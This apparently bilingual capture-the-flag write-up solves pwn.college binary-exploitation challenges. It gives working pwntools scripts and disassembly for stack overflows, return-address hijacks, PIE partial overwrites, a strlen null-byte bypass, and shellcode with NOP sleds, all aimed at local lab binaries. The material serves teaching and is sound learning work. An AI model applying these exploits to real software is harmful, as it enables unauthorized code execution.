Your First Overflow (easy)
Buffer 20 bytes, win variable 20 bytes after buffer start. Overflow
to set win variable non-zero.
1 2 3 4 5 6 7 hacker@binary-exploitation~your-first-overflow-easy:~$ /challenge/binary-exploitation-first-overflow-w Send your payload (up to 4096 bytes)! aaaaaaaaaaaaaaaaaaaaa You win! Here is your flag: pwn.college{*******************************************}
Your First Overflow (hard)
1 2 3 4 5 6 7 8 9 10 int challenge (int argc, char **argv, char **envp) { struct { char input[96 ]; int win_variable; } data = {0 }; int received = read(0 , &data.input, (unsigned long ) size); if (data.win_variable) { win(); } }
need input 96 bytes + 1 byte to overflow
win_variable.
1 2 3 4 5 from pwn import *p = process('/challenge/binary-exploitation-first-overflow' ) p.sendline(b'a' * 96 + b'a' ) p.interactive()
pwn.college{*******************************************}
Precision (easy)
Buffer 51 bytes, win variable 52 bytes after buffer. Lose variable 56
bytes after buffer – must not overwrite it.
Send exactly 53 bytes (52 padding + 1 to set win, stop before
lose).
1 2 3 4 5 from pwn import *p = process('/challenge/binary-exploitation-lose-variable-w' ) p.sendline(b'a' * 52 + b'a' ) p.interactive()
pwn.college{*******************************************gzW}
Precision (hard)
1 r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-lose-variable
Key parts of sym.challenge:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ; buffer init: rep stosq with ecx=0xd (13), clearing 13*8=104 bytes 0x004017a9 488d5580 lea rdx, [format] ; buffer start 0x004017b2 b90d000000 mov ecx, 0xd ; 13 iterations 0x004017ba f348ab rep stosq qword [rdi], rax ; memset(buf, 0, 104) ; ... ; read into buffer at [format] 0x004017fe 488d4580 lea rax, [format] ; buf = rbp - 0x80 ; ... ; lose check 0x0040184a 8b45e8 mov eax, dword [var_18h] ; lose @ [rbp - 0x18] 0x0040184d 85c0 test eax, eax ; win check 0x00401867 8b45e4 mov eax, dword [var_1ch] ; win @ [rbp - 0x1c] 0x0040186a 85c0 test eax, eax
var_1ch -> [rbp - 0x1c],h
代表 Hex。
var_18h -> [rbp - 0x18]。
Win 变量 [rbp - 0x1c],Lose
变量 [rbp - 0x18]。
Buffer init 用 rep stosq 做
memset(buffer, 0, size):
stosq: 把 rax (0) 写入 rdi
指向的地址,每次 8 bytes。
rep 配合 ecx = 0xd (13),循环 13 次。
13 * 8 = 104 bytes 。
已知 Lose 变量位于 [rbp - 0x18]。Buffer
起点位置 = Lose 变量往上推 104 字节。
0x 18 + 104 (即 0x 68 ) = 0x 80
Buffer 起点 [rbp - 0x80],到 [rbp - 0x1c] =
100 bytes,接下来 4 bytes 是 Win 变量。
1 2 3 4 5 from pwn import *p = process('/challenge/binary-exploitation-lose-variable' ) p.sendline(b'a' * 100 + b'a' ) p.interactive()
pwn.college{*******************************************gzW}
Variable Control (easy)
Buffer 29 bytes, win variable 32 bytes after buffer (must set to
0x5a71653b). Lose variable 36 bytes after buffer.
1 2 3 4 5 6 7 from pwn import *p = process('/challenge/binary-exploitation-var-control-w' ) padding = b'A' * 32 win_val = p32(0x5a71653b ) p.send(padding + win_val) p.interactive()
pwn.college{*******************************************W}
Variable Control (hard)
1 r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-var-control
Key parts of sym.challenge:
1 2 3 4 5 6 7 8 9 10 11 12 ; buffer init: rep stosq with ecx=0xb (11), 11*8=88 bytes 0x00402331 488d5590 lea rdx, [format] ; buffer start 0x0040233a b90b000000 mov ecx, 0xb ; 11 iterations 0x00402342 f348ab rep stosq qword [rdi], rax ; memset(buf, 0, 88) ; ... ; read into buffer at [format] = rbp - 0x70 ; ... ; lose check @ [rbp - 0x18] 0x004023c0 8b45e8 mov eax, dword [var_18h] ; win check @ [rbp - 0x1c], must equal 0x16630978 0x004023dd 8b45e4 mov eax, dword [var_1ch] 0x004023e0 3d78096316 cmp eax, 0x16630978
1 2 3 4 >>> 88 + 0x18 112 >>> 112 - 0x1c 84
1 2 3 4 5 6 7 from pwn import *p = process('/challenge/binary-exploitation-var-control' ) padding = b'A' * 84 win_val = p32(0x16630978 ) p.send(padding + win_val) p.interactive()
pwn.college{*******************************************W}
Control Hijack (easy)
No win variable. Overflow return address to jump to
win() at 0x401e1d. Buffer starts 88 bytes
before return address. Canary disabled, no PIE.
1 2 3 4 5 6 7 from pwn import *p = process('/challenge/binary-exploitation-control-hijack-w' ) padding = b'A' * 59 + b'B' * 29 win_val = p32(0x401e1d ) p.send(padding + win_val) p.interactive()
pwn.college{*******************************************}
Control Hijack (hard)
1 r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/binary-exploitation-control-hijack
Key parts of sym.challenge:
1 2 3 4 5 6 ; buf -> rbp - 0x60 0x00401e5d 488d45a0 lea rax, [buf] 0x00401e61 4889c6 mov rsi, rax ; read into buf ; ... 0x00401eb4 c9 leave 0x00401eb5 c3 ret
sym.win 入口: 0x00401cb9
在 x86_64 架构下,当一个函数被调用时,返回地址 (Return
Address) 压入栈中。溢出覆盖返回地址为 sym.win,当
sym.challenge 执行 ret 时 CPU 跳去执行 win
函数。这叫 Ret2Win 。
输入缓冲区起点: rbp - 0x60
use r2 -A to analyze, default
asm.var = true, visual mode shows variable names
到达返回地址的距离:
覆盖局部变量: 96 字节 到达 rbp
跨过 Saved RBP: 8 字节
Padding = 96 + 8 = 104 字节
sym.win 入口: 0x00401cb9
1 2 3 4 5 6 7 from pwn import *p = process('/challenge/binary-exploitation-control-hijack' ) padding = b'A' * 96 + b'B' * 8 win_val = p32(0x401cb9 ) p.send(padding + win_val) p.interactive()
pwn.college{*******************************************}
Tricky Control Hijack (easy)
win_authed(int token) requires
token == 0x1337, but we can bypass the check by jumping
past it.
Buffer 31 bytes, return address 56 bytes after buffer. Canary
disabled, no PIE.
1 r2 -A -q -c "pdf @ sym.win_authed" /challenge/binary-exploitation-control-hijack-2-w
1 2 3 4 0x00402031 817dfc3713.. cmp dword [var_4h], 0x1337 0x00402038 0f85fe000000 jne 0x40213c ; jump past the check to here: 0x0040203e 488d3dab10.. lea rdi, str.You_win__Here_is_your_flag:
1 2 3 4 5 6 7 from pwn import *p = process('/challenge/binary-exploitation-control-hijack-2-w' ) padding = b'A' * 31 + b'B' * 25 win_val = p32(0x0040203e ) p.send(padding + win_val) p.interactive()
pwn.college{*******************************************}
Tricky Control Hijack (hard)
1 r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-control-hijack-2
1 2 3 4 5 6 7 8 ; sym.challenge: buf -> rbp - 0x40 0x0040157d 488d45c0 lea rax, [buf] ; sym.win_authed: jump past auth check 0x00401401 817dfc3713.. cmp dword [var_4h], 0x1337 0x00401408 0f85fe000000 jne 0x40150c ; ret to here: 0x0040140e 488d3df30b.. lea rdi, str.You_win__Here_is_your_flag:
1 2 3 4 5 6 7 from pwn import *p = process('/challenge/binary-exploitation-control-hijack-2' ) padding = b'A' * 0x40 + b'B' * 8 win_val = p32(0x0040140e ) p.send(padding + win_val) p.interactive()
pwn.college{*******************************************}
PIEs (easy)
Position Independent Executable – Partial Overwrite
1. PIE 与内存分页 (Memory
Paging)
开启了 PIE,Kernel 会在每次执行时,把 binary
塞到内存中一个完全随机的位置 (ASLR)。
但 Kernel 按 Page (页) 管理内存:
一个 Memory Page = 0x1000 bytes (4KB)
基址 (Base Address) 永远是 0x1000 的倍数
最后三个 nibbles 永远是 000 (例如
0x5f7be1ec2000)
2. 偏移量 (Offset) 不变
虽然基址在变,但 win() 在 binary 内部的相对位置 (Offset)
编译时就决定了。 假设 win() offset 为
0x1337:
基址 0x5f7be1ec2000 -> win() =
0x5f7be1ec3337
基址 0x6513a3b67000 -> win() =
0x6513a3b68337
最后三个 nibbles (337) 不变。
3. Partial Overwrite 与
Little-Endian
Little-Endian 下 Return Address
最低有效字节在最低地址,溢出时从最低字节开始覆盖:
改 1 字节 (2 nibbles): 不受 ASLR 影响,100%
成功 。
改 2 字节 (4 nibbles): 前 3 nibbles 固定,第 4
nibble 随机。一个 nibble 16 种可能,每次 $\frac{1}{16}$ 概率。
跑 n 次至少成功一次:
$$P = 1 -
\left(\frac{15}{16}\right)^n$$
跑 11 次 ≈ 50%
跑 36 次 ≈ 90%
1 r2 -A -q -c "pdf @ sym.win_authed" /challenge/binary-exploitation-pie-overflow-w
1 2 3 ; buf -> rbp - 0x40, return address at rbp + 8, padding = 0x40 + 8 = 72 bytes ; jump past auth check: 0x00001a2b 488d3dbe16.. lea rdi, str.You_win__Here_is_your_flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *import itertoolsbinary_path = "/challenge/binary-exploitation-pie-overflow-w" padding = b"A" * 0x40 + b"B" * 8 for count in itertools.count(): p = process(binary_path) payload = padding + p16(0x1A2B ) p.send(payload) output = p.clean(timeout=0.114514 ) if b"pwn.college{" in output: print (f"[+] Try {count} " ) print (output.decode('utf-8' , errors='ignore' )) p.close() break p.close()
pwn.college{*******************************************}
PIEs (hard)
1 r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-pie-overflow
1 2 3 4 5 6 7 8 ; sym.challenge: buf -> rbp - 0x90 0x00001ee3 488d8570ff.. lea rax, [buf] ; sym.win_authed: jump past auth check 0x00001cfb 817dfc3713.. cmp dword [var_4h], 0x1337 0x00001d02 0f85fe000000 jne 0x1e06 ; ret to here -> 0x1d08 0x00001d08 488d3df912.. lea rdi, str.You_win__Here_is_your_flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *import itertoolsbinary_path = "/challenge/binary-exploitation-pie-overflow" padding = b"A" * 0x90 + b"B" * 8 for count in itertools.count(): p = process(binary_path) payload = padding + p16(0x1d08 ) p.send(payload) output = p.clean(timeout=0.114514 ) if b"pwn.college{" in output: print (f"[+] Try {count} " ) print (output.decode('utf-8' , errors='ignore' )) p.close() break p.close()
pwn.college{*******************************************}
String Lengths (easy)
Buffer 120 bytes, return address 168 bytes after buffer. PIE enabled,
canary disabled.
Challenge uses strlen() to validate input length before
copying to stack. But strlen() stops at the first
\x00 (Null Byte).
在 C 语言中,字符串以 \x00 结尾。strlen()
碰到第一个 \x00 就停止计数。 在 payload 开头放一个
\x00,strlen() 判定长度为
0 ,绕过长度检查。
1 r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-null-write-w
1 2 3 4 5 6 7 ; string_length < 120 assertion 0x00002b62 488d3d6d13.. lea rdi, str.string_length___120 ; win_authed: jump past auth check -> 0x00002522 0x00002515 817dfc3713.. cmp dword [var_4h], 0x1337 0x0000251c 0f85fe000000 jne 0x2620 0x00002522 488d3dc70b.. lea rdi, str.You_win__Here_is_your_flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *import itertoolsbinary_path = "/challenge/binary-exploitation-null-write-w" padding = b"\x00" + b"A" * 167 for count in itertools.count(): p = process(binary_path) payload = padding + p16(0x2522 ) p.send(payload) output = p.clean(timeout=0.114514 ) if b"pwn.college{" in output: print (f"[+] Try {count} " ) print (output.decode('utf-8' , errors='ignore' )) p.close() break p.close()
pwn.college{*******************************************}
String Lengths (hard)
1 r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-null-write
1 2 3 4 5 6 7 8 9 10 11 ; sym.challenge: ; malloc tmp buffer, read into it, strlen check, then memcpy to stack ; buf on stack -> s1 = rbp - 0xa0 0x00001607 488d8560ff.. lea rax, [s1] ; string_length < 113 assertion (0x70 = 112, jbe means <= 112) 0x000015f1 488d3d7e0b.. lea rdi, str.string_length___113 ; win_authed: jump past auth -> 0x000013ad 0x000013a0 817dfc3713.. cmp dword [var_4h], 0x1337 0x000013a7 0f85fe000000 jne 0x14ab 0x000013ad 488d3d540c.. lea rdi, str.You_win__Here_is_your_flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *import itertoolsbinary_path = "/challenge/binary-exploitation-null-write" padding = b"\x00" + b"A" * 167 for count in itertools.count(): p = process(binary_path) payload = padding + p16(0x13ad ) p.send(payload) output = p.clean(timeout=0.114514 ) if b"pwn.college{" in output: print (f"[+] Try {count} " ) print (output.decode('utf-8' , errors='ignore' )) p.close() break p.close()
pwn.college{*******************************************W}
Basic Shellcode
Shellcode copied onto stack and executed. Stack location randomized,
so shellcode must be position-independent.
1 2 3 4 5 6 7 8 9 from pwn import *context.update(arch="amd64" , os="linux" ) p = process("/challenge/binary-exploitation-basic-shellcode" ) p.send(asm(shellcraft.cat("/flag" ))) p.interactive()
NOP Sleds
NOP (No Operation) opcode
\x90:什么都不做,仅把 RIP 向前移动一个字节。
NOP Sled 在 Shellcode 前铺上大量
\x90。跳到这片区域的任意位置,CPU 就会顺着一路”滑”到
Shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.update(arch='amd64' , os='linux' ) context.log_level = 'error' p = process('/challenge/binary-exploitation-nopsled-shellcode' ) nop_sled = b'\x90' * 2048 shellcode = asm(shellcraft.cat('/flag' )) payload = (nop_sled + shellcode).ljust(4096 , b'\x90' ) p.send(payload) p.interactive()
NULL-Free Shellcode
Same as prev, pwntools shellcraft.cat is already
null-free.
pwn.college{*******************************************}
Hijack to (Mapped) Shellcode
(easy)
Two-stage: first send shellcode to mmap’d region, then overflow
return address to jump there. Buffer 112 bytes, canary disabled.
Shellcode mapped at 0x2edca000. Padding to return
address = 137 bytes.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *import timecontext.update(arch='amd64' , os='linux' ) context.log_level = 'error' p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode-w' ) shellcode = asm(shellcraft.cat('/flag' )) p.send(shellcode.ljust(4096 , b'\x90' )) time.sleep(0.5 ) padding = b'A' * 137 p.send(padding + p64(0x2edca000 )) p.interactive()
Hijack to (Mapped) Shellcode
(hard)
1 r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-hijack-to-mmap-shellcode
1 2 3 4 5 6 7 8 9 ; mmap shellcode at fixed address 0x178d0000 0x0000153c bf00008d17 mov edi, 0x178d0000 0x00001541 e8bafbffff call sym.imp.mmap ; ... ; getchar() waits for newline between shellcode read and overflow read 0x000015f9 e842fbffff call sym.imp.getchar ; ... ; buf -> rbp - 0x30, padding = 0x30 + 8 = 56 bytes 0x00001622 488d45d0 lea rax, [buf]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *import timecontext.update(arch='amd64' , os='linux' ) context.log_level = 'error' p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode' ) shellcode = asm(shellcraft.cat('/flag' )) p.send(shellcode.ljust(4096 , b'\x90' )) time.sleep(0.5 ) p.sendline() time.sleep(0.5 ) padding = b'A' * 48 + b'B' * 8 p.send(padding + p64(0x178d0000 )) p.interactive()
Hijack to Shellcode (easy)
Buffer 102 bytes, return address 136 bytes after buffer. ASLR
disabled, stack executable, canary disabled, no PIE.
Stack addresses are fixed: buffer at 0x7fffffffd1a0,
return address at 0x7fffffffd228.
NOP Sled 的必要性
通过 pwntools 的 process() 跑程序和直接在
bash 里跑,传递的环境变量不同:
pwntools 可能带不同的 _ 变量、Python
继承的环境变量、argv[0] 路径长度不同
环境变量占据空间变化导致栈指针偏移十几字节
用 \x90 NOP sled 铺在 shellcode
前面可以容忍这种偏移。
Stack Overlap / Self-Destruct
ret 后 RSP 上移 8 字节。如果 shellcode
紧贴返回地址,shellcode 中的 push
指令会往回覆盖自己的机器码(栈向下生长,push 减 RSP
写入数据)。
解决:用 padding 隔开 shellcode 和返回地址,让 shellcode
放在返回地址之前。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.update(arch="amd64" , os="linux" ) context.log_level = "error" p = process("/challenge/binary-exploitation-hijack-to-shellcode-w" ) target_address = 0x7FFFFFFFD1B0 offset = 136 nop_sled = b"\x90" * 32 shellcode = asm(shellcraft.cat("/flag" )) padding_len = offset - len (shellcode) - len (nop_sled) payload = nop_sled + shellcode + (b"A" * padding_len) + p64(target_address) p.send(payload) p.interactive()
Hijack to Shellcode (hard)
1 r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-hijack-to-shellcode
1 2 3 ; buf -> rbp - 0x40, padding = 0x40 + 8 = 72 bytes 0x00401d22 488d45c0 lea rax, [buf] 0x00401d26 4889c6 mov rsi, rax ; read into buf
Use GDB (with ASLR disabled) to find exact buffer address:
1 2 3 4 5 pwngdb /challenge/binary-exploitation-hijack-to-shellcode unset env break *0x00401d2erun
buffer -> 0x00007fffffffdc70
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.update(arch="amd64" , os="linux" ) context.log_level = "error" p = process("/challenge/binary-exploitation-hijack-to-shellcode" , env={}) target_address = 0x00007fffffffdd70 offset = 72 shellcode = asm(shellcraft.cat("/flag" )) nop_sled = b"\x90" * 2000 payload = b"A" * offset + p64(target_address) + nop_sled + shellcode p.send(payload) p.interactive()